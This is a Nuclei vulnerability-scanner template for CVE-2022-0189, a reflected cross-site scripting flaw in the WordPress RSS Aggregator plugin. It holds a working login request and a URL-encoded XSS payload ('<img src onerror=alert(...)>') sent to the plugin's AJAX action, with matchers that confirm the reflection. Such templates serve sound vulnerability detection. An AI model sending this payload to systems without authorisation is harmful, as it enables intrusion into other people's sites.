nuclei-templates/cves/2022/CVE-2022-0189.yaml

id: CVE-2022-0189

info:
  name: WordPress RSS Aggregator < 4.20 - Authenticated Reflected Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: WordPress RSS Aggregator < 4.20 is susceptible to cross-site scripting. The plugin does not sanitize and escape the id parameter in the wprss_fetch_items_row_action AJAX action before outputting it back in the response, leading to reflected cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/52a71bf1-b8bc-479e-b741-eb8fb9685014
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0189
    - https://plugins.trac.wordpress.org/changeset/2659298
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0189
    cwe-id: CWE-79
  tags: wpscan,cve,cve2022,wordpress,xss,wp-plugin,authenticated

requests:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        id=%3Chtml%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29%3E

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src onerror=alert(`document.domain`)>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/03/28